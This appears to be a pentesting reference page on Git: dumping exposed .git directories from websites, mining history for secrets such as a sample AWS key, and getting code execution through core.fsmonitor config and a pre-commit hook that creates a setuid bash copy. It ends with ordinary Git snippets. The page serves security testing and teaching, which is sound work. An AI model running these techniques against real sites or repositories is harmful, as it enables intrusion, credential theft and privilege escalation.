Git

A version control system often saving lots of information about how files were changes

Description

Git is a version control system that allows you to save the state of files. It is often used with source code and published on Github. There are a few keywords that Git uses you need to know to understand the terminology:

• Repositories: The entirety of your git system, with the files, history, and information. Can be created using git init

• Commits: "Save states" of the files in your repository. Whenever you change something and you are happy with the change, you can commit it so it's saved as a snapshot that you can later go back to. Can be created using git commit -m "message"

• Branches: Parallel to your main repository, branches are sidesteps to slowly work on a new feature for example, and then later in time merge it into the main branch. Can be created using git checkout -b newfeature

All the information about your Git repository gets saved in a .git directory that is at the root of your repository. The git command interacts with this directory and lots of tools can get information from it. So if you ever find a .git directory you'll know the current directory is a Git repository.

To find everything in a repository without having to think of every command, you can use a tool like GitKraken to explore the repository visually. Just open the directory in that tool and you can see a timeline of what commits and branches were made.

Finding Git on websites

In some cases, you'll find that the website you're testing uses Git by finding a .git directory. Normally this should be hidden by a 403 Forbidden for example, but this is not always the case. Sometimes you can see a list of files, or you can directly access .git/HEAD instead.

Web - Directory Listing

When you visit the .git directory on the website, and you can see a list of files relating to git, you know that directory listing is on. This makes it really easy to download everything at once recursively and then examine the repository on your own machine.

$ wget -r http://example.com/.git

Git-dumper

When a website disables directory listing, but the .git directory can still be found with something like .git/HEAD, you might be able to use git-dumper on it to extract all the files without having the need for directory listing. This tool understands the Git file structure and can find all the related files:

GitHub - arthaud/git-dumper: A tool to dump a git repository from a websiteGitHub

A tool to dump a git repository to your local machine, without needing directory listing

$ pip install git-dumper
$ git-dumper http://example.com/.git git/

Then use the source code to perform more targeted attacks, or look for secrets, even in history:

$ git log -p  # Show commits with diffs
...
+++ b/secret.py
@@ -0,0 +1,85 @@
+access_key_id = "AKIA6CFMOGSLALOPETMB"
+secret_access_key = "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"
+region = "us-east-2"
...
$ git branch -a  # List all branches
* master
  development

The trufflehog tool can also be useful for large repositories where manually searching would take too long. It has a few built-in formats for credentials like private keys or AWS secrets. Run it locally on a cloned repository like this:

$ trufflehog git file://.
Found unverified result 🐷🔑❓
Detector Type: PrivateKey
Raw result: -----BEGIN RSA PRIVATE KEY-----
...
-----END RSA PRIVATE KEY-----
Line: 1
Commit: cb137d3139ab74d7ef5c4460f41c95d89fe3e514
File: id_rsa
Email: [e-mail]
# # Or on a remote GitHub URL
$ trufflehog git https://github.com/trufflesecurity/test_keys
# # Check out GitHub README for more examples

Tip: The .git/config file may not be cloned, but if found locally, can contain git credentials used to push and pull to a remote origin. These may be re-used elsewhere or allow you to explore more of the remote git origin.

Attacking Git Commands (RCE)

Git is a very flexible system, allowing many settings to be changed to decide how CLI tools interact with the repository. These configuration variables can allow executing arbitrary commands however when certain git commands are executed. The core.fsmonitor variable in .git/config is a common one that can be set to a bash command to execute:

.git/config

[core]
        repositoryformatversion = 0
        filemode = true
        bare = false
        logallrefupdates = true
+       fsmonitor = "id | tee /tmp/pwned > /dev/tty"

$ git status
uid=1001(user) gid=1001(user) groups=1001(user)
...

Many shell extensions like Starship use git to get the current repository and are vulnerable to this, as well as Visual Studio Code (now only with Trusted Mode). To find such issues, you can create a malicious repository with as many landmines as possible that trigger on different commands. This creates an empty repository with most known ways to execute commands:

GitHub - jwilk/git-landmine: create local malicious git repoGitHub

Create a repository with .git/config and hooks GIT landmines (lib/payload = payload)

This same config variable can be set via environment variables:

export GIT_CONFIG_COUNT=1
export GIT_CONFIG_KEY_0=core.fsmonitor
export GIT_CONFIG_VALUE_0="id | tee /tmp/pwned > /dev/tty"
git status

Git Hooks

There is another feature called "hooks" that allow you to run bash scripts when a certain action happens with the repository. When a git commit is executed, for example, the pre-commit hook gets triggered. If you can write these hooks you can let whoever runs the git commit execute arbitrary commands.

You can find these hooks in the .git/hooks directory. If you are able to write a pre-commit file here, you can put any executable file in its place and it will be run on commit:

.git/hooks/pre-commit

#!/bin/bash
cp /bin/bash /tmp/bash; chmod +xs /tmp/bash

Then just make sure the file is actually executable with chmod:

$ chmod +x pre-commit

Git Snippets

If you're running a git repository, you might need some complicated actions from time to time. This is a collection of some common actions as commands to quickly copy and paste.

Push to remote origin

$ git remote add origin https://github.com/[username]/[repository].git
$ git branch -M main  # Switch to main branch for GitHub
$ git push --set-upstream origin main  # Set the default upstream

$ git push  # From now on, you can just push

Reset all commits

$ rm -rf .git
$ git init
$ git commit -m "Initial commit"
$ git push --force  # Force to overwrite existing remote

Undo last commit

# # If not pushed yet
$ git reset --soft HEAD~
# # If already pushed
$ git reset HEAD~  # Use --hard to also throw away the changes in the commit
$ git push --force

Create and push tag

$ git tag 0.1.0
$ git push origin --tags  # Push all tags
# # More info: https://stackoverflow.com/a/18223354/10508498